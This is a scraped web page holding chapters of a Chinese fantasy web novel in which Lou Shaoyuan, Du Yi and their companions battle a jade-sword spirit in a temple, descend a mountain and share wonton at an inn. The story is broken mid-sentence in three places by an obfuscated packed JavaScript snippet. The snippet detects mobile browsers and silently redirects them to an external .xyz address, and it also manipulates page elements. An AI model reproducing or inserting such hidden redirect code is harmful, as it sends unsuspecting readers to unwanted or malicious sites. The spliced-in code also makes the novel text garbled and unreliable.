“唯我。”锦玉踌躇了一下,随即表清态度,“可我察觉不到他有怨气,是你想错了……” “没有怨气?怎么就没有怨气了?难道冤死的人有假吗?” “穆老爷”确实不想与面前的这等妖怪打交道,简直是胡说一通,恨不得让其他黄鼠狼一拥而上撕了他,废话不多说,猛的上前去一翻打斗下来,黄鼠狼明显是占了下风,一溜烟的刚想朝洞口方向跑去,以他的身躯早就可以脱窍逃离了,锦玉却挥手将它定住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087005|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不得动弹,一拍它的后脑勺时,轻易地将黄鼠狼的魂魄从穆老爷的身体中抽出!拢于手心,收回囊中。 一片寂静无声之中,锦玉不经意间朝着佛像的方向喊了一声:“各位远道而来,恐怕是另有所谋?” 古泛舟闻声从暗处走近,见状兰桡也一瘸一拐的走进明处,只有楼少渊与独翊一动不动,像是没听见一样,只得面面相觑的观察对方,古泛舟只得狐疑般:“你是什么人?” 锦玉不辩,转头冒出一股截然相反的态度:“你们也是与这穆家相识之人?” 兰桡拿剑拄拐,意味深长地说:“再不熟也要熟了!既然黄鼠狼被你降了,为何还不离去?不管你此番为谁而来,这禅师百年前就于潇湘之地为一方之主!是要归于楼台山的!” 见各方都对这禅师有意,锦玉身上的那块玉石竟然化作了一柄玉剑!他立刻执手中剑袭来,一挥化影斩去,带起一阵轻灵如风!古泛舟见势迎去,扬起后生挡下了一剑,锦玉绝不可能就此罢休,不远处的独翊隐隐感受到这个人的气息不似常人,身旁竟然有寒气环绕之势!猛的定睛一看,其中一道剑气分明是朝着他们袭来,不仅如此,察觉还有一个躲在一旁的楼少渊,神色一凛,反而转向径直刺向了他,楼少渊哪知道前方这人见他要对自己下手,正要以不急迅雷之势躲开!! 怕是来不及躲闪,危急时刻,身后的独翊悄无声息的从手心幻化出一支白影飞出!冲上前替楼少渊挡下,另外那只手将楼少渊推开,刹那间与那道剑气相撞!彻底迸发消失在了半空! 锦玉微奇,但是眼下两方都在僵持,独翊也是微怔片刻,不疾不徐,居然又化息朝着楼少渊去!他刚想逃出视野,找个暗处挡身,迅速朝着尸体旁滚过去,无意间露出了背面那层“蟠螭”纹样,刀光剑影之间瞳孔一紧,红绳一松就掉在了地面,恰好躲得极快!只斩断了旁侧尸身的一只腿,但是楼少渊却没那么幸运,毕竟四周全是尖仞,一经靠后就被横穿的尖仞刺进了后背。 背后一阵生疼,因为尖刺是横向的,正着看伤口也不明显,直到后生与他的剑相碰,那柄玉剑竟然顷刻间化成了渣,眼看不敌古泛舟,另而化息散去。 随之被带走的还有那尊肉身佛。 楼少渊立马忘记了身上的疼,赶紧捡起铜镜,擦了擦沾上的灰,询问铜镜月的状况:“你没事吧?” 其实铜镜月在里面并无大碍,也没有被弄的晕头转向,但是依稀听到外边传来的打斗声,反问:“我没事,你可受伤了?” “还好。”楼少渊终于朝天吐了一口气,这才将铜镜月重新系好轻置身前,又是那么一瞬间让铜镜月心头一滞,终于看清外面的环境,地下的乱玉碎石混一堆的景象,他清楚的记得这些碎玉散发的气息,是当年锦玉身上的那块玉石化作的瑕瑜剑,即使破碎之后还能重新聚气还原,难道刚刚那个人就是他?可一滩还是化作碎渣,并没有要还原的迹象。 楼少渊这才想起独翊有没有到伤害?!全然忘记了疼痛,立马前倾身体,抓过独翊的右手:“吓死我了,我还以为抛出的是你的手指!还带着血!那你呢?有没有其他受伤的地方?刚刚的那一招真的太厉害了!” “还得多谢了楼兄。”独翊将手伸回,又从手袖中掏出一把折扇,原来这扇早就在茶舍被独翊夺走,放入怀中保管,那么一看,仅是少了半截扇骨,独翊伸出手擦去了折扇边缘的血迹,等到楼少渊仔细看前后查看过才些许放心,“你视线都模糊了,兴许是看错了,这不是好好的吗?” 楼少渊挤出的眼泪还残留在眼眶里,不知道此刻是背后的疼又加深了还是真怕独翊受了伤,但还好是虚惊一场。 独翊查看了他的背后,从那只锦香囊中拿出一叠布料,还有些草药味聚拢其中,他扶起楼少渊远离了尸堆边,仔细的包扎了起来,尽可能的减少流血程度,接着又反复多次包扎了几层,楼少渊突然觉得背后显得有些沉重,他挑眉:“没想到你还挺贴心,连花绢布料都能随身携带。” 独翊略显无奈,低下头缠紧:“这本不是我意。” 楼少渊侧头,用余光瞥到身后的两人,一道叮嘱:“你们俩可不能偷看,切莫垂涎!” 兰桡被此话气的急跳脚,用剑直指他:“谁想看?真把自己当棵葱了?要不是我师兄救你,刚才就小命难保了吧?” 古泛舟赶忙揽过他的身,无奈一笑:“兰桡,我们先出去吧,先让师叔给楼公子包扎一番,他只是有些害羞。” “哼!这等不要脸皮之人?也懂害羞?” 于是古泛舟拉着唧唧歪歪的兰桡出去了。 16. 花禅 楼少渊惬意又疏懒的晃了晃头,越想越奇怪,悠悠笑意渐转淡:“好吧好吧!谁让你有两个贴心的侍女姐姐,不过那人到底是什么来头?” 独翊心中也对这人身份来历感到玄妙不明,莫测高深,些微定神而后却论:“虽说山中多精怪,却甚少有东西能轻易成精,这人不平凡,不使任何突出的招数便可来去消散,显化人前,实在蹊跷,先下山吧,事后再查。” 楼少渊不以为意,独翊扶着他缓慢的出去了,眼看洞外寒风吹瑟,相比之下可没有洞内暖和,毕竟也不想松懈楼少渊身上的伤,不过几步就站立不定,扶着他面对下山的路简直是寸步难行。 于是楼少渊思来想去,忽然有了一道想法,眨巴两下眼睛看向独翊,笑呵呵地探问:“独翊,你背我吧!” 正当独翊前去,在地下找到一根连杈的木棍,折去旁枝,想当作楼少渊下山的撑持,一听到这也开始茫然,身子微侧:“为何?” “你扶我是不是不太好走,而且跟着我的节奏,我们很难下山啊……?”楼少渊边说边抓了抓脸,一脸认真的表情,接着开始长吁短叹,暗自叫苦,又觉着哪里隐隐作痛了起来。 “也好,那你慢点上身。”独翊听闻不卑不亢,心中应允,更加理解,也好让他如愿以偿,于是原地蹲下,俯身在前,楼少渊见状就扑到他身上去,表象见他身子骨弱,上身感觉也是软绵绵的,好像每走一步就要陷入羽毛里面一样,像是一种幻觉,但却又很实际,如今已经感受过了。 楼少渊却直言不讳,一脸惬意的靠在独翊右肩:“没成想你竟然是个软骨头?背的我好舒服啊!那个……不过独翊,做妖是什么样的感觉?” 听到楼少渊这么一说,独翊似乎是不稳了,脚下碎石也有些滑溜溜的,对于楼少渊的言语早已经见怪不怪,倒也不厌其烦,又想起洞中一事,倍感歉意:“做妖其实不好,刚才对不起,我是想保护你。” 楼少渊趴在他身上,声音越说越细微,可独翊听得却无比清晰:“哪里的话?谁知道那人的下一步是做什么,你也在警惕他对我下手,顾不上才是正常的多了!反过来也一样,我天生作为人,自然也承受不住其他妖物的伤害……!” 独翊略微凝怔,心中竟然也舒坦了些,随即莞尔:“楼兄若是累了,便可以先睡一会。” 听到这句话,楼少渊也有些困意表露,于是哼哼唧唧的就睡去了,约莫过了一炷香的时间,就醒了过来,他不好晃动现在的状态,见独翊背了自己这么久,竟然也不表露疲惫,心道果真是有力气! 楼少渊哑着嗓子说话,手也垂他身前,木棍随着脚步一晃一晃,险些绊倒,见他没反应,又趴在他身上干笑:“你这个人真会强撑,难免会累的。” 独翊一点也不委屈自己,却也没停下脚步,只得侧头一笑:“我累了。” 说完一会,楼少渊也没有想要立马下身的念头,又在不觉中“哎呦”喊了几下,就是随意一言,独翊怎么就当真了?!好不客气!不过不要紧,独翊怎么能真舍得把自己放下?一想到这,就继续靠着了。 古泛舟在前闻二人语,一手把剑递给了兰桡,他先是一头雾水的接住剑,直到两人察觉前方多了个人,没成想古泛舟突然出现背对着两人,落到跟前顺势蹲下:“楼公子,我背你吧。” 话音刚落,楼少渊却有意间看向一旁的兰桡,正一脸黑线地愣在原地,脸色铁青,心中固然不喜,狠狠地瞪着楼少渊,他也是见好就收,立刻从独翊身上下来,将木棍递去独翊手中,似乎也没感受到背后的疼痛了,眼中闪过一丝促狭,多了两手一搭肩头,不假思索地靠在了古泛舟身上,嘴上玩笑话也不断:“哎哟,那就多谢泛舟师兄啦!” 他还时不时的歪向一侧扮鬼脸,还不忘朝兰桡吐了吐舌头,兰桡不知道怎么办才好,手上握剑的力度不觉中又重了几分……嗯,也就几分,就算手上深深印了一条条纹路之后,到头来古泛舟也未曾察觉。 楼少渊内心识破,当然知道古泛舟只是看在独翊的面子上才屈身舍己,毕竟独淮客与独翊贵为手足。 久而久之……楼少渊这人也算师叔的清交素友,如此看来,人情世故倒是摸得透,楼少渊与他毕竟交情甚浅,不作久留,下身时又一拱手:“多谢你了!” 古泛舟扶正身姿,退回兰桡身边,拿回后生,举止端正:“无碍。” “怎么下雨了?这荒山野岭的可没地遮挡……”兰桡朝天空抬眸,眼中忽然划过一丝异样,一滴雨刚好砸到他的眼眶中,这才觉察雨滴落下,不过也才几滴斜风细雨,却怕下大。 楼少渊指了指不远处一个黑漆漆的方位,隐约能看出一面黑墙:“有……有!在那里!” 一棵树隐着的后头有木屋立于山林,正如那胖子所说,山中木屋果真不假,虚幻早已彻底打破,这处才是真的!天要下雨,不得不进去躲避一番,狭小之处拥挤不堪,好在这处雨不大,小程度的雨量似乎也局限于此地。 谈话间,古泛舟似乎有事与兰桡细谈,以便走出了木屋,只是回来后兰桡的有些失魂落魄的。 “承蒙两位照顾,兰桡年纪尚轻,去留自知,二位不必挂念,我便先行回山门禀告门主,再会。”古泛舟看了一眼另外两人,抱拳致意后离开,先行一步,只是这次兰桡并未跟随他离开。 楼少渊见古泛舟走远,有些莫名,对兰桡调侃道:“你要不要跟我们回去?万一你这小小年纪搭在这了,那就不好收场了。” 兰桡反倒觉得自己被戏谑了,嗤之以鼻地横了楼少渊一眼,神色不悦:“关你个鸡毛卵事!以我的能力还不至于受这点伤!!” “我还不想管呢!这荒山野岭,指不定哪处冒出个熊瞎子,到时候在远处向你挥手,估计也被吓得够呛吧?”楼少渊笑呵呵地说,没等兰桡作何反应,把手放到他背后,一阵抖动覆上指尖,厚着脸皮又问,“你怎么了?我说的有那么可怕吗?放心吧!我们不会弃你而去的!” 这不得不说还真是踩到这位少年的痛点了,不知怎得突然全身抖个不停,一路下山走来没见异常,怎么说了两句重口的就不言语了?难道其中有话戳到他心里了,想到这的独翊面露难色,有些不安:“兰桡?你没事吧?” 兰桡一别身侧,刚好偏开楼少渊的手,怒吼:“滚开!” 二人惊骇,这个少年此刻正背对着两人,有些不对劲,独翊见形势不妥,刚要起声调解,兰桡已经挥出了剑朝他刺去,迎面袭来,不料面前站着的是独翊,他也不会相信兰桡会出手,还且愣着不动,正算不到落到哪处时,恍惚一瞬绕身奇快侧身避开,险些伤到,这才让兰桡挥了个空。 “别别别!是我的错!你别打了!”楼少渊直起身来慌忙道歉,兰桡握紧了拳头,泪中含泪。楼少渊一路走来与他计较颇深,还以为多大的能耐,说到底还是个孩子,楼少渊顿时有些尴尬,决然闭嘴,被独翊招揽上前道歉,补上一句:“对不起,兰桡。” 独翊笑着打圆场,也不计较刚刚那道空剑,从怀里掏出一张饼递给兰桡,恳切之心明显:“是饿了?吃点东西。” 兰桡先是一愣,但秉持着傲然的姿态,双手抱臂,头朝一边不予理会:“我不饿。” 楼少渊抱着愧意再度向前:“对不起,兰桡……我知道我诚意不够……我真不是故意的,真的对不住……” 独翊连连摆手,尴尬的笑了笑:“楼兄仅是无心之过,他不会再这样了。” 兰桡并不理他,楼少渊也跟着他后面走,时不时冲在他前面偷看脸色,一脸歉意的连喊三声:“抱歉!抱歉!实在抱歉!”百般抚慰之下,兰桡也不作回应,脸上显然没有半分笑意,吹了声口哨,不一会就招来了那只“咕咕”,冲到楼少渊面前扑腾,遮挡视线,咕咕和他缠绕了好一会,再看清路时,兰桡走的渐行渐远,又离他相距二十米处了。 月笼千山,月夜如清光一色。 花禅穆一不知道是何时醒来的,毕竟这块血玉就是曾经遇到锦玉的时候,从嘴里叼过来给他的,这为玉中极品,希世之珍,起初他自然是不接的,但锦玉又是固执,接了就相当于要了这份信任,如今更是受之有愧。 锦玉见他不适应,便说:“我背你。” 花禅穆一自知身不由主,摇头谢绝,又突然冒出两股疑虑:“锦兄是何时寻来的?我记得从未告知过你家乡之地……你也不过百年身,备尝辛苦修化人形,这不应和自然之生。” “朝廷奉命你留于清凉寺那些年,曾记载过你的出身,化形后我便寻去了沃洲镇,此地香火极浓,可惜你的气息被隐藏,原先是猜测近来的穆府之事应该和你有关,可我找不到你,流传之中我就寻到了穆府和庙中,才推算出经过……信你还会回来,便和祁连将军等了数月。” 锦玉的声音细微低敛,此言不虚,似乎是在怪他,可他从来不会怪别人,自己的本体就是不宜于常人接近,若是再多说,只怕是又惹人畏怯,腰上的玉石一直在不断闪烁,如同心脏跳动,此朝相逢恨晚。 “这不是一句话就能说清的,其实你的存在是很好的,你的出现也仅仅是为了预示灾难,能让百姓早些知道真相,锦兄在我眼中,还是如那时一般明净,不过身处世道,人心难测,你亦有化形之能,方可保全其中,玉石之事早已白水鉴心,曲意逢迎之举不可再取,切莫忘记。” 花禅穆一嘱咐完,察觉到附近有处水源之地,锦玉把他扶到一块青石上面,山林将他笼盖至黑暗里去,一抬头只见天明,花禅穆一又想到了前者之事,瞬间明目无光,不禁颔首低眉,“我想回一趟古刹宗,这是小友为我建立,可我却未曾踏足之地,真想不到他还能做到这般份上,只是欲望将他置身其中,连我也不能辨别。” 锦玉心中凄楚,忽然一抬头:“禅师,往后与我归山……!” 花禅穆一马上打断了他,轻轻叹了一口气,心下一阵酸:“祁连将军何在?你得去寻他,我本无意再生还,可是血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“禅师……”锦玉退后几步,途中一直在使用灵力唤醒花禅穆一心中的那块血玉,两块玉已然同符合契,找到了各自,一直不断输送灵力则是不想让他再到无可挽回的地步,又预感天降大雨,内心不明就里,更不知该何去何从,只好先行隐去了此地。 年少时与父母诀别之后,花禅穆一独自行于世间救济他人,此番穆府之中的穆老爷,曾是他途中救济过的人之一,或许花禅穆一已经不记得了,但内心还是知道这人欲念不忘……初心不改也是有的,可害人终害己,他也不想去追溯了。 而当初那次跟铜镜月和锦玉的无声道别后,自己则是独自回到了穆府,以及他在市语中听到的传闻,沃洲镇所处的穆府上下皆被消杀殆尽的消息,他是不信的,可亲眼见证了家破人亡,穆府早已经被烧的一干二净,不知父母生死,不明墓碑所葬,唯一剩下的也只有那棵槐树。 死伤的所及范围规模之大,惊动了当地的衙门,纵然有人捣鬼,最后也不了了之,似乎是更神秘的阴谋隐去了多层说法,花禅穆一固然无权无势,只能等火被扑灭浇透之后,经过残余寻得府门之中的一些书籍官本,可早已成灰。 他走进父母的房间,多张信件早已被烧毁,最后清晰的字眼也被泪水浇灭,他回忆过,母亲是不怎么识字的,为何这些年为他写了那么多封,那么多次的信件,他有些不可置信,平时见到波澜不惊的瞳孔此时竟然微微颤抖了起来,连文字都不识几个的她竟然能为他写了一封信,看到最后才留下穆依两个字,为什么不是简单的一?到底是什么意思呢?是想让他在外也有依靠吗?也会找到相依为命的人吗?还是人到暮年老有所依呢? 到头来都是他年少时的一意孤行,铸成大错不怪他,食言也不怪他,只不过是一时冲动的少年稚气未脱,容颜未老时的作茧自缚,还是因看不透世事而身陷于俗世,自知生而困于生,临别时心去难留,死前却流连忘返昔日。 父母长辞于世已有百年,他的记忆也逐渐清晰在少年时。 意识回笼,只剩下庙内燃起的长明灯火照亮,可这不能完全照明,雨滴敲击在屋檐上的瓦片格外清晰,里面却安静如斯,他心想,这次锦中书该托付给谁呢?祁连将军又何时才能还乡呢? 谈何容易?世间并无回头路,也不会因为他而改变一切。 古刹宗的瓦顶是穆老爷找村里的木匠修建的,瓦片交错之间盖的也是严实密缝,可好巧不巧正有一滴雨落到了佛像脸上,一瞬间这滴雨水混如眼泪,是否也能抵花禅穆一心中所想呢? 此刻血玉的灵力也撑到尽头了,花禅穆一将手揣入怀中拿出了这块血玉,状如珠圆红润,天地聚气而生,气脉凝萃相融,脱离他肉身时竟然化作了一颗丹珠,至于为何能隐去不被外界发觉,这也是锦玉所赠予的血玉,显现一大神奇之处,如果再度服下是否真的能长生?至今不解,他不愿再去面对和试错了,绝不论真假。 花禅穆一始终也想不到锦玉会寻到这里来,甚至是,没有想过他会来,就算从无念想,也会有人不远万里到达吗?再也不得而知,当晚的雨声盖过了屋中佛像、浮雕、一切命理犹同灯灭,血溅当年。 在此生命已经终结,或许命因如此。 17. 馄饨 独翊与楼少渊并不是原路折返,走得而是另外一条路,下山相对平稳,兰桡右手握剑,跋涉在前,一路削去草木,逢山开路,两人跟在兰桡后头,结伴而行,除了有像古刹宗那样的长林丰草,再也没有遇到什么瘴气。 楼少渊打了个喷嚏,随手摘了片树叶擦了擦鼻子,突显背后一身寒凉,反手抛开树叶,转眼投入到远方的寒风当中,嘟囔道:“这雨真奇怪,总感觉是迎着斜风从别处倒泻来的。” 独翊莞尔,也说:“从上至下,连雨也惹了尘埃。” 快到山脚时,正犹豫间,独翊一溜烟地奔向前头,在兰桡面前站住脚,追问他的去向:“兰桡,你接下来要去哪?” 兰桡见已经入了山脚下,剑身流畅入鞘,信步微慢,犹豫了一会还是摇头:“随便走走。” 独翊这才回想起昏睡时入耳的片刻记忆,是很耳熟,记得也清楚,猜测必定是二人在茶舍发生口角之后,不欢而散,陡然想起:“你师姐呢?怎么一路下来连个人影也没见着,不是说她会比你提前吗?” 兰桡又一想,摇了摇头,立刻否决:“提前?你会意错了吧?她只不过会比我先行一步去往其他地方,我们昨日能够遇见也算凑巧,早就分开好些时日了……而且此地界与东阳相近,算来这么久没回去了,大可以猜测她回了趟家?!” 独翊记起她是东阳出身的女子,早年拜于芦荻秋门下,还有些困惑:“你们还斗嘴来着?关系很差吗?” 兰桡故作轻松,辩解道:“没什么,她只是看不惯我整天吊儿郎当的模样,我也不屑于听她的,所以……” 被楼少渊持着的木棍也丢在了半路,再找不到一根合适的,只好一步作两步挪了过去,其实并没有腿脚不便,而是被吓得还未缓过来,朝着兰桡俯身嬉笑说:“你打算去哪?我带你玩点好的?” 兰桡又将头摆正,心中无感,漫步离去:“我还要找人。” 等到他又离开了好几米远,楼少渊在后头呼唤:“或者你回京城一趟!去青山舍!有人可以帮你!” 兰桡转头停下,仔细端详了他好几眼,像是料定一般,绝无可能,揶揄道:“不用了,谅你也找不到!” 楼少渊总觉得兰桡还是在和自己怄气,一脸无奈,慢慢凑近:“好吧,那你这是不打算和解了?请你吃饭成不成?” “算不上有矛盾,以后也没机会再见了!”兰桡有些性急,又停滞了一瞬,偏头离去,一转头就消失在了巷口中。 楼少渊的视线追逐着他消失,有些纳闷:“话也说的这么绝对,反正我不信。” 独翊也思来想去,最后搀住了他:“不记事的人哪里会有隔夜仇?” 楼少渊将一边重心落到他身上,立马起疑,试探他:“你难道从来没有过吗?” 独翊像是又想起了什么,思绪梦回后恍然大悟,暗自庆幸:“哈哈!我有呀!而且我从不隔夜!” 说完,迅速在脑海里反复琢磨那出行动,自己光靠表面功夫就能让人轻易信服了!隐藏的也不赖哈!!毫无留意地就撒了手,这可让楼少渊倒在一边身悬侧歪,不可受重地摔了一跤,叫痛一声!再也不想起身了,原地睡去。 再醒来时,似乎恢复了一点状态,山林渐渐淡在后方,取而代之的是背街小巷,路过市集,络绎不绝的行人和摊贩在街集中吆喝,这派景象不由得让独翊眼睛乍亮,一排年纪稍大点的老人坐在路边,竹篮里放置着各种蔬菜,还有木板搁在地上,放置上半个冬瓜,见到路人停在面前,开始叫卖。 独翊看的入迷,突然压低嗓音说:“这么大岁数的老爷爷也出来卖菜?不应当坐吃享福吗?” 楼少渊也不清楚其中何故,耐心解释:“人家多半操劳半生勤劳惯了,要么就是万不得已,哎……你也好意思叫人家爷爷?” 独翊又不管这茬事了,一抛脑后,好奇的模样实在灵动,迈开脚步又跑了好远,经过每个摊位前都想要打探到底是卖什么的?路过一家中药铺子时,外头站着个褐色长衫男子,双手环抱着一个陶瓷罐,里面装着很多琥珀色的蜜糖,正漫无目的悠闲放空。 许乐的注意力也集中了过来,觉得这人好生熟悉,立马从罐中拿出两颗糖递给独翊,意为试吃,独翊见状连忙摇了摇头,不由得想起了那句“非己之物不可取”,而后连连摆手,也是心直口快:“谢谢,我不能要。” 楼少渊赶了上来,许乐这才认出是昨日那位问话的公子,反手将陶瓷罐挽在臂弯下,又拿了两颗糖递给楼少渊,一副笑吟吟的做派:“两位公子,好巧啊,我这是枇杷蜂蜜糖,是由蜜蜂所采集的枇杷花而酿制而成,制成硬糖后亮如琥珀,性滋甘甜,经过糯米纸这么一包装,也美的可观,口感极佳,浅尝一颗根本没事的,让这位公子也尝尝,千万不要介意才好。” 楼少渊谢过,先将糖递到独翊嘴边,这才敢浅尝,看他神情娇憨,立马微笑:“好吃吗?” 独翊觉得这蜜糖唇齿留香,妙不可言,这才收下许乐手中的糖,连忙掏出锦香囊找出银子来,想要买下一点,欠人人情总归是不好,喃喃道:“好吃,总不能白吃。” 可这许乐却立马夺过他手中的锦香囊,侧身蹲下将瓷罐放置一旁,边说边念叨“送完早放班!”“李掌柜好收摊儿!”不停地在里头投满一兜子蜜糖,还时不时的注意到店铺里面,接着一手递还:“没事没事!送你们了,这送完我也该放班了。” “许乐,大早上的卖出多少了?”李掌柜突袭身后,脸色铁青的跨步而来,已近身前。 “没……!”许乐嘴角微微抽动,大事不妙,刚想要含糊其辞地瞒过去,李掌柜早就看向了陶瓷罐中,眼明手捷,脸上却挂起了怪异的笑容,许乐迟疑了一下,低下头一瞧,原来他们俩临走时在里头投了几枚铜钱,心道:“啊……两位公子,你们给的也太多了……” 李掌柜将铜钱全部收入囊中,佯装刻意:“你干嘛总是摆着这张臭脸,我可没骂你!今天收获不错,再接再厉!” 等李掌柜转身离去,原以为他会因为夸奖而信心倍增,实则许乐更没什么好脸色,假如今日的糖分光而不收获钱财,李掌柜会将许乐骂走,第二天还是悻悻的回来,李掌柜为何不实际点?将他解职了?值得一提的是。那是因为许乐这人既不用管吃住,心中只想向他学来一番本领,可李掌柜死活不教,便也吃定了这学徒不敢轻言放弃,免费的帮工还死皮赖脸不肯走,是他自愿的!许乐也只能自我气罢:“真倒霉!死掌柜!不教我医术就罢了!老是让我管糖!我就送!这还不欺人太甚!剥削我?我就算分去天涯海角你也别想赚到一分钱!一辈子也无福消受!” 这些话显然没用,挖空心思也是徒劳无功,直到许乐闷闷地将糖吃光,底下竟然冒出了一颗碎银! “嗨呦!这是小爷我应得的!”许乐早就猜出是谁给的,心情大好,阴霾顿时扫空,也不算捡漏,见好就收吧! 途中,独翊感觉糖满的都快溢出来了,取出一些藏于袖中、放入怀中,又抓住楼少渊的手,摊开了他的手心,放置上了七颗,问:“楼兄感觉如何?” 楼少渊点了点头,低头看着手里的糖,势头好转,举步生风的模样十分矫健:“这地方好玩!!不过是我该问你吧?” 独翊沉默了一会,使了个眼色:“我是说你的伤,现在感觉如何?” 其实楼少渊是不敢做大幅度伸腰动作,走起路来却大步流星:“放心吧!不成问题,你的药布真管使!比我爹捣鼓的那些好太多了。” 闻言,独翊讶然:“半仙也对学医有兴趣吗?” 楼少渊将一颗糖投入口中,含糊其辞地表示:“并没有,他总是怪怪的做一些怪事,就像我第一次见他,他也是怪怪的。” 独翊犹豫一会,说:“何处古怪?” 楼少渊沉声说:“寡言少语,跟背井离乡似的,身体还在魂却丢了,这么多年了也不见有个朋友,我和他碰面也没什么好交流的,总而言之,于外头而言他是我爹,却没让我感觉到他是我爹!” 独翊也不懂这一说辞,顿了顿说:“你们之间虽然只是占了一个名头,况且他才大你十来岁,有了这层身份把持,古往今来总是难以逾越的,而半仙是位内敛人,若是有是非缠身那便有口难言,你比他多善言,表露情感更甚,你起头引导会更好。” 直到停在一间馄饨铺,分二楼,见楼下客满,楼少渊就拉他上了楼,坐到临近窗边的位置,叫唤小二来点菜,楼少渊抛开一切,不去多想:“嗯……我们先吃个饭吧?” 独翊回应:“好。” “……你向来不喜荤腥和辣,我看看,葱也挺刺激人的……来两碗馄饨吧,不加葱。”楼少渊盯了一排食单,选中了馄饨,见二人只要了两碗素肉馄饨,小二顿时不满,腰也不弯了,接连“嗯”了几声,就下去了。 独翊回想楼少渊是没什么忌口的,他觉得葱是有点辛辣,进食后对他产生的不适感极为明显,所以从不吃葱,有些诧异:“楼兄为何不加葱?” 楼少渊不以为意:“随口一道,而且……和你在一起后我也习惯了清淡,刚才山里的凉风下肚,不得缓缓?” 不过一会,馄饨就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087007|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上桌了,只不过两碗里面也都掺杂了一些葱绿点缀,确实美观,可却没按照附加备注去除,独翊瞅着碗里的馄饨,想来是无意放置的,好在不多,将它捞出来就一样了。 楼少渊顿了顿,见独翊毫不在意,他沉着气吃下,也不恼火,把自己吃笑了:“这汤是鲜美极了,才这么点馅啊?” 小二探出头,见状一道阴阳:“加钱啊!吃素馅的不亏待了你?” 独翊对外赔了个笑脸,谢绝了小二的话,转头把自己还没来得及吃的馄饨捞了一半在他碗里,宽慰道:“楼兄是吃不够吗?我分你点。” 楼少渊皱眉,瞥了一眼角落的小二,抱手嗤笑:“激将法对我可是没用的!” 独翊从怀中拿出一张饼,还掉出几块糖来,他撕成两半分给楼少渊一半,朗声说:“可以配一点这个,好吃。” “谢啦!”楼少渊心想这小子怎么这么会吃?浸入汤中也实在美味,若是油酥烧饼沉汤会更好!不禁万分赞许,想起了铜镜月一路来没什么动静,将他从怀里拿出,轻唤:“铜镜月,你还在吗?” 铜镜月瞬间被点醒:“我在。” 他用袖口擦拭了几下镜面,想要捕捉到一张面貌来,可到头来也没有出现奇迹,说:“你到底是什么人?在林子里的时候,总感觉你不一般。” 铜镜月说得颓废了些:“也没什么,只是一缕孤魂罢了,对你实在没有什么好处,若是哪天倦了,大可以把我丢弃。” 楼少渊清了清嗓子,立马正色:“那可不行!如果你只是一面普通的铜镜,我当然不会在意,可是你是一个活生生的人!我怎么敢丢了你,而且在那场迷雾中你将我引出,说明你还是有意义的!什么都能随意丢弃?你把我当什么人了!” 独翊也附和:“是啊,这位铜镜兄未免太妄自菲薄了,何必看轻自己?你是这孤魂所化镜中,不得摆脱,那必定是壮志未酬,未能如愿,不妨告知我与楼兄二人,好为你解脱尘世。” 铜镜月的气音幽微:“不必了,世路风波不可阻绝,吾自有来路,怎么能轻易连累他人?从今来看也甘心受之。” 楼少渊无言,只好笑了笑,与独翊坐到同一条木凳上,又拿起铜镜,右手搭上了独翊的肩头,将铜镜拈的高点,能照见两人脸相的同时,两张清俊的面庞入了铜镜月的视线当中:“你不说,谁还许你有后路?就像最初有人会保你一时,这次我们也能保你一时,这便是缘分,你不答应,把你丢了难道会更安逸吗?更何况……我又不是脆如薄纸。” 独翊看着铜镜中的楼少渊和自己,更显同明相照,襟怀洒落,也跟着笑:“我也不是弱不禁风。” 铜镜月叹笑:“哎!你们两个……” 二人叽叽喳喳地围桌转圈,周而复始,惹得里面的铜镜月都觉得晕头转向,外人看着这两人对着木桌中间的那面铜镜自说自话,简直把他们当傻子笑了,直到独翊忽然停了下来,楼少渊也没注意到前方有人停下,瞬间被撞了一脸,差点跌倒,忽而有些酸意,探了探鼻子有没有撞歪?还好无恙,也忍不住说:“哎哟!怎么停了!” 独翊扶稳桌子,冷静下来,另眼察觉四方:“楼兄,我感觉到了一阵寒风!有东西出现了!” 楼少渊看着左面窗户紧闭,真不是能进风的地,也观察着四周:“没有啊!我们可是在室内!难道哪里还有风口没关?” 独翊越过桌子打开木窗,放眼过去巡视,注意到了!立即正身:“在对面的屋檐底下!是那个白衣人!” 顺着客栈之下看去是一处光照不到的角落,一袭白衣正待下方,男子手上也没有利器,右手却攥着个什么东西,看似行踪未定,独翊却早有预料,脑海之中早已浮现当日之事,两人对望一眼,心中均感奇怪,所见一拍即合:“会会他!” 二人赶忙吃完碗里的馄饨,扣下铜钱后就带着铜镜月离开了,那小二注意到他们下楼的情况,又看了看桌面的铜板,才悠悠地起身去收拾,收拾完后发现少钱了,正要追去理论,一转头,楼少渊还没走,听他折返回来叹道:“游历几日……反倒觉得山景不错,街集也闹,馄饨美味,你人不行。” 一弹指,那枚铜钱就顺利地落到了馄饨汤中。 转身潇洒离去,留下小二一脸懵,是止不住的气愤。 独翊步入他身后,楼少渊也紧跟其后,对望惊疑,霎时追问:“又是你?叫什么名?因何而来?!” 